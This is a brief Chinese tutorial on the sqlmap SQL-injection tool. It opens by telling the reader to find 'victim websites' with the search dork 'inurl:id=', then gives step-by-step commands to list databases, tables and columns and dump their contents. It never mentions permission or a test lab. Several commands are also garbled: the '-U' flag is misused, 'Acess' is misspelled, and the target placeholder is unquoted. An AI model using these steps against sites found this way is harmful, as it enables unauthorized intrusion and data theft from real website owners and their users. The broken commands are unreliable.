kali工具sqlmap的使用教程

1.利用浏览器搜索语法

inurl：id=

 

 找到受害者网站以便进行sql注入

2.打开kali虚拟机运行sqlmap工具

sqlmap -U target website --dbs // 获取目标网站的所有数据库名

运行过程中会判断目标网站的数据库类型，该工具支持主流的数据库管理系统

 如果出现以上情况则说明目标网站不存在sql注入

我们来看一个扫描成功的案例

3.扫描到数据库系统后，我们来获取表。因为microsoft access比较特殊，我们可以直接去获取表

sqlmap -U target website --tables//获取数据库中的所有表名

 可以知道只有一个news表

4.知道表名后我们来获取字段名

sqlmap -u target website  -D Microsoft Acess -T news --columns //指定数据库名和表名来获取字段名

 5.知道字段名后，我们来获取字段里的数据

sqlmap -U target website -D Microsoft Access -T news -C id,index,pl,title --dump //获取所有字段里的数据

6.到此为止我们就成功的用sqlmap自动化工具获得了我们的数据

注意事项

• sqlmap的详细用法参照官方手册 https://github.com/sqlmapproject/sqlmap/wiki/Usage
• 在得到对应的数据库名表名时请遵照本来的字母，大小写不可以改